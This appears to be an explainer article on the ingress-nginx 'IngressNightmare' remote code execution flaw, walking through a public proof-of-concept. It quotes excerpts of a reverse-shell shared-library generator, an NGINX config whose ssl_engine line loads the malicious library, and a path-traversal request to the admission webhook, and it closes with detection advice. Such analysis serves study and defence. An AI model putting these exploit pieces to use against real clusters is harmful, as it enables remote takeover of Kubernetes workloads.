How the ssl_engine Directive Enables Remote Code Execution in Ingress-NGINX

The ssl_engine directive is an NGINX configuration option that loads dynamic SSL engine shared objects, and in vulnerable ingress-nginx versions, attackers can abuse this feature to execute arbitrary native code by supplying a path to a malicious .so library.

The ssl_engine directive in ingress-nginx RCE attacks serves as the critical pivot point for CVE-2025-1974, also known as the "ingress-nightmare" vulnerability. This configuration directive, intended for loading custom TLS/SSL cryptographic engines, becomes an attack vector when attackers can inject arbitrary file paths into the NGINX configuration processed by the ingress-nginx controller. In the esonhugh/ingressnightmare-cve-2025-1974-exps repository, security researchers demonstrate how unvalidated input to this directive allows attackers to bypass container isolation and achieve native code execution inside the ingress-nginx controller pod.

What Is the ssl_engine Directive?

In standard NGINX deployments, the ssl_engine directive specifies the name or path of a dynamic SSL engine—a shared object (.so) file that implements custom cryptographic operations for TLS handshakes. When NGINX parses a configuration containing this directive, it attempts to load the specified library into the master process memory space using dynamic linking mechanisms.

According to the ingress-nightmare source code, the vulnerability exists because vulnerable versions of ingress-nginx accept the ssl_engine path verbatim without validation, sanitization, or sandboxing. When the controller validates an incoming Ingress resource or AdmissionReview request, it parses the supplied NGINX template including any injected ssl_engine lines, immediately triggering the library load.

The Exploit Mechanism

The proof-of-concept leverages the ssl_engine directive through a multi-stage attack chain that moves from configuration injection to arbitrary code execution.

Malicious Payload Generation

The attack begins with crafting a malicious shared object that executes attacker-controlled code when loaded. In nginx-ingress/payload.go, the NewReverseShellPayload function generates the ELF binary that serves as the SSL engine:

func NewReverseShellPayload(tip string, port string) Payload {
    // Transform the IP address into zero-padded octets
    // … (omitted for brevity) …
    payload := bytesReplace(evilLibrary,
        []byte("127.000.000.001"), []byte(strings.Join(ip, ".")), 1)
    // Zero-pad the port and replace the placeholder
    // …
    payload = bytesReplace(payload, []byte("13337"), []byte(port), 1)
    // Switch mode flag to reverse-shell
    payload = bytesReplace(payload, []byte(MODE_CHECK_FLAG), []byte(MODE_REVERSE_SH), 1)
    return payload
}

This code transforms a template library (embedded via go:embed) into a functional reverse shell by replacing placeholder IP addresses and ports with attacker-specified values. The resulting binary is written to disk as danger.so and subsequently uploaded to the target pod.

Configuration Injection via bad_config.conf

The repository includes a deliberately malformed NGINX configuration in nginx-ingress/bad_config.conf that contains the vulnerable directive:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
}
ssl_engine /root/so/danger.so;   # <-- loads attacker-controlled library

When ingress-nginx validates this configuration, it processes the ssl_engine directive and attempts to load /root/so/danger.so as a cryptographic engine. Because the path is accepted without validation, the attacker-controlled shared object executes within the NGINX master process context, bypassing higher-level Kubernetes RBAC restrictions.

Triggering the Vulnerability in exploit.go

The ValidateWebhookSpecificFilePath function in nginx-ingress/exploit.go delivers the payload by exploiting path traversal in the validation webhook:

evilUrl := fmt.Sprintf("../../../../..%v", path) // path points to danger.so
fullPayload := strings.Replace(validateJson, "foobar", evilUrl, 1)

err := gout.NewWithOpt(gout.WithInsecureSkipVerify(),
        gout.WithTimeout(100*time.Second)).
    POST(URL).Debug(Verbose).
    SetBody(fullPayload).
    BindJSON(&resp).Do()

This code constructs a crafted AdmissionReview request containing a JSON payload where the placeholder foobar is replaced with a path traversal sequence (../../../../..%2Froot%2Fso%2Fdanger.so). When the ingress-nginx webhook validates this request, it resolves the traversal to the location of the uploaded malicious library, parses the configuration containing the ssl_engine directive, and triggers the load.

Continuous Delivery with BadUploader

To ensure the malicious library remains available during the exploitation window, the BadUploader routine in nginx-ingress/exploit.go continuously pushes the shared object to the target:

_, _ = conn.Write(buffer)          // HTTP header
_, _ = conn.Write(payload)          // .so payload (≥8 KB padded)

This maintains the attack surface while the exploit scans for valid file descriptor and PID pairs, ensuring the ssl_engine load succeeds when the configuration is parsed.

Why ssl_engine Enables RCE

Unlike higher-level Ingress resource fields that undergo strict validation, the ssl_engine directive interacts directly with the underlying operating system's dynamic linker. When NGINX encounters this directive, it calls system library loading functions (such as dlopen on Linux) with the attacker-supplied path, executing the library's constructor functions immediately.

This behavior allows attackers to:

  • Bypass language-level sandboxes by executing native machine code directly in the NGINX process
  • Evade detection through legitimate NGINX configuration syntax that appears valid to superficial inspection
  • Maintain persistence by embedding payloads in shared objects that execute every time NGINX reloads the configuration

Summary

  • The ssl_engine directive in ingress-nginx loads dynamic SSL engine shared objects without validating the supplied file path.
  • Attackers exploit this behavior by injecting malicious .so libraries through the validation webhook using path traversal sequences.
  • The payload.go file generates the reverse-shell ELF binary, while bad_config.conf provides the configuration template containing the exploit directive.
  • The ValidateWebhookSpecificFilePath function in exploit.go triggers the vulnerability by submitting crafted AdmissionReview requests.
  • Successful exploitation results in arbitrary code execution within the ingress-nginx controller container, effectively compromising the entire cluster's Ingress layer.

Frequently Asked Questions

How does the ssl_engine directive differ from other NGINX directives?

The ssl_engine directive specifically instructs NGINX to load external cryptographic engines via dynamic linking, whereas most configuration directives only affect internal NGINX behavior. This distinction makes ssl_engine dangerous because it interacts with the operating system's shared library loader, executing code outside the NGINX process's normal control flow.

Can the ssl_engine attack work without file upload capabilities?

No, the attack requires the attacker to place a malicious .so file at a predictable path within the container filesystem. The ingress-nightmare PoC uses the BadUploader component to deliver the payload via HTTP/HTTPS, but alternative methods such as exploiting other side-channel file writes or manipulating persistent volumes could achieve the same result if the path is known.

What versions of ingress-nginx are vulnerable to this ssl_engine exploit?

The vulnerabilities tracked as CVE-2025-1974 affect specific versions of ingress-nginx where the validation webhook accepts arbitrary NGINX configuration snippets without sanitizing the ssl_engine directive. Administrators should consult the official ingress-nginx security advisories and upgrade to patched versions that validate or reject this directive in AdmissionReview contexts.

How can defenders detect exploitation attempts targeting ssl_engine?

Security teams should monitor AdmissionReview requests to the ingress-nginx webhook for anomalous patterns including path traversal sequences (../) in configuration fields, unexpected references to shared object files (.so), or unusual file system activity within controller pods involving the loading of non-standard libraries into the NGINX process.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →